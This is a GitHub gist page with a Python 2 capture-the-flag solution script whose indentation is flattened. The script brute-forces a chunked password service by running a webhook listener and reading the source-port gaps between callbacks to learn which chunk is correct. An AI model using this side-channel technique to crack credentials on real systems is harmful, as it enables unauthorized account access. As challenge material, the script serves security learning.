secret
Last active — forked from omni5cience/ctf.py

  • Download Gist
ctf.py
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
import requests
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
 
class WebHookRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.server.on_response(
self.client_address[1],
json.loads(self.rfile.read(int(self.headers['Content-Length'])))["success"]
)
 
class WebHookServer(HTTPServer):
def __init__(self, port=0):
HTTPServer.__init__(self, ('', port), WebHookRequestHandler)
 
def on_response(self, client_port, success):
self.client_port = client_port
self.success = success
 
class ChunkedPassword(object):
def __init__(self, password=None, length=12, chunks=4):
self.length = length
self.chunks = chunks
self.data = [0 for _ in range(chunks)]
if password:
for n in range(chunks):
self.data[n] = int(password[length*(n+1):length*(n+2)])
 
def __str__(self):
return ''.join(str(chunk).zfill(self.length / self.chunks) for chunk in self.data)
 
class ctf(object):
"""Helper class for my ctf solution"""
def __init__(self, target="http://localhost:3000", public_host='127.0.0.1', webhook_port=32323, port_spread=3, **pwargs):
self.target = target;
self.password = ChunkedPassword(**pwargs)
self.public_host = public_host
self.webhook_port = webhook_port
self.port_spread = port_spread
self.phase = 0
for n, chunk in enumerate(self.password.data):
if chunk != 0:
self.phase = n
 
def send_request(self, password, webhooks):
return requests.post(
self.target,
data=json.dumps({ "password": password, "webhooks": webhooks })
)
 
def solve_password(self):
server = WebHookServer(self.webhook_port)
webhook_url = "%s:%s" % (self.public_host, server.server_port)
print("Getting a starting port")
self.send_request('000000000000', [webhook_url])
server.handle_request()
 
while self.phase < self.password.chunks:
prev_port = server.client_port
print("Trying password %s, last source port was %s" % (self.password, server.client_port))
self.send_request(str(self.password), [webhook_url])
server.handle_request()
port_diff = server.client_port - prev_port
print("Webhook came from port %s, %s from the last one." % (server.client_port, port_diff))
if port_diff < 0:
# Try again, something funny happened
continue
if port_diff > self.phase + self.port_spread:
# Let's make fucking sure we're ready to move on
for i in range(5):
prev_port = server.client_port
self.send_request(str(self.password), [webhook_url])
server.handle_request()
if server.client_port - prev_port <= self.phase + self.port_spread:
print("Fluke, tryin' again")
break
else:
self.phase += 1
if server.success:
print("Found the password: %s" % self.password)
break
else:
self.password.data[self.phase] += 1
 
if __name__ == "__main__":
ctf().solve_password()

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.